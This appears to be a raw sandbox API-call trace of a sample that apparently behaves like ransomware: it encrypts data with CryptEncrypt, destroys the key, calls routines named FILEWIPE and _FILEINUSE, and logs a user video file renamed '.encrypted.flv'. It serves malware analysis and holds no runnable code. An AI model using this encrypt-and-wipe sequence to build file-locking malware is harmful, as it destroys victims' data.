PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.558] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.558] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.558] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.558] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4394880*, pdwDataLen=0xe8f3dfdf68*=0x8d63, dwBufLen=0x8d70 | out: pbData=0xe8f4394880*, pdwDataLen=0xe8f3dfdf68*=0x8d70) returned 1 [0029.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.559] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.559] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.559] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.559] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.559] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.559] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.559] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.559] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.559] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.559] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.559] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.560] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.560] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.560] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.561] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.561] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.561] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.561] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.561] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.561] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.561] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.561] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.561] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.561] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.561] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.561] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.562] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.562] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.562] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.562] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.562] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.562] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.562] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.562] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.563] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.563] CryptReleaseContext (hProv=0xe8f41997e0, dwFlags=0x0) returned 1 [0029.563] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.563] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.563] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.563] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.563] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.563] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.563] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.564] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.564] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.564] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.564] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.564] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.564] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.564] CharLowerBuffW (in: lpsz="byte[36195]", cchLength=0xb | out: lpsz="byte[36195]") returned 0xb [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.565] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.565] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.565] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.565] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.566] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.566] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.566] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.566] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.566] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.568] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.569] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.569] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.569] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.569] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.569] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.569] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.569] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.570] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.570] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11168) returned 1 [0029.570] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.570] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.570] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.570] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2ba0, lpOverlapped=0x0) returned 1 [0029.571] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.571] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2ba0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.571] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11168) returned 1 [0029.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LULaT-p.encrypted.flv\r\n", cchWideChar=99, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 99 [0029.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LULaT-p.encrypted.flv\r\n", cchWideChar=99, lpMultiByteStr=0xe8f4062330, cbMultiByte=99, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\LULaT-p.encrypted.flv\r\n", lpUsedDefaultChar=0x0) returned 99 [0029.571] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40666f0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40666f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x62, lpOverlapped=0x0) returned 1 [0029.571] CloseHandle (hObject=0x1fc) returned 1 [0029.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.572] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.572] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.572] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.572] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.572] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 